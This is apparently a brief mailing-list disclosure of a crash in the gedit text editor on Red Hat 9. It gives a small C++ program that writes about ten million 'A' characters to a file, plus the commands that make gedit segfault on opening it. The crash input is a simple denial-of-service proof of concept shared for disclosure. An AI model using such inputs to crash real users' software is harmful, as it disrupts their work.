Subject: simple buffer overflow in gedit


Hello,
I discover a strange but simple buffer overflow in gedit.
I am using RH9, 


to demostrate the buffer here is a simple file buffer generator:

===========buffer.c == cut here===============
/*
	simple buffer overflow generator by MegaHz megahz@...ahz.org
*/
#include <iostream>
using namespace std;
 
int main()
{
int i;
for (i=0;i<=9999999;i++)
        {
        cout << "A";
        }
        return 0;
}
===========================================


# g++ -o buffer buffer.c
# ./buffer > lala
# gedit lala
Segmentation fault
